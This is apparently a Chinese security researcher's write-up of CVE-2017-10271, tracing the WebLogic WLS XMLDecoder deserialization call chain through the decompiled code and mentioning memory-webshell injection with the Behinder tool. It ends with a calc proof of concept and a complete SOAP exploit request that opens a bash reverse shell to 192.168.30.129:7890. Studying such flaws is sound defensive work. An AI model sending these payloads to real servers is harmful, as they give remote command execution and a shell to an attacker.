网上过程太多了,这里就不展示了
这里idea远程调试出了点问题,连接失败了
但排查了一下没找到原因
网上搜索也未果
…
如果有知道问题的师傅可以私信我,小白在这里谢过了
这里是用工具写入内存马再去连接的,冰蝎4.0.1似乎连不上,因为秘钥是写在代码中的
这里注入内存马是单独设置的密码
还是使用的3.x版本去连接的
本文的重点还是放在代码上
CVE-2017-10271漏洞主要是由WebLogic Server WLS组件远程命令执行漏洞
http://url:port/wls-wsat/CoordinatorPortType
post
发送数据包
再构造SOAP(XML)
格式的请求解析过程中触发XMLDecoder
反序列化漏洞
由于class体量太大
这里我就反编译了weblogic的jar
需者自取
提取码:9x8l
在wlserver_10.3\server\lib\weblogic.jar!\weblogic\wsee\jaxws\workcontext\WorkContextServerTube.class
的processRequest
方法
这里的var1
传入的是XML数据
经过修饰后变成var3
进入到readHeaderOld
方法
前面的获取了POST
数据包中XML
参数
后面通过ByteArrayInputStream
将XML数据变成字节数组输出流赋值给var4
这里如果调试成功的是可以看到var4
的格式就是poc
中的XML部分
<java version="1.7.0_80" class="java.beans.XMLDecoder">
<new class="java.lang.ProcessBuilder">
<string>calc</string><method name="start"/>
</new>
</java>
var4.toByteArray()
:将var4
的内容转为字节数组,然后传入ByteArrayInputStream
转化为流。
WorkContextXmlInputAdapter
类,将接受道德输入流再转换成XMLDecoder
之后进入执行receive( )
函数。
跟进到WorkContextLocalMap
类下的receiveRequest
方法
其中调用了WorkContextEntryImpl
的readEntry
方法
最后到WorkContextXmlInputAdapter
下的readUTF
此处调用了xmlDecoder.readObject
最终执行了执行了XML数据中的ProcessBuilder.start()
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.30.129/7890 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>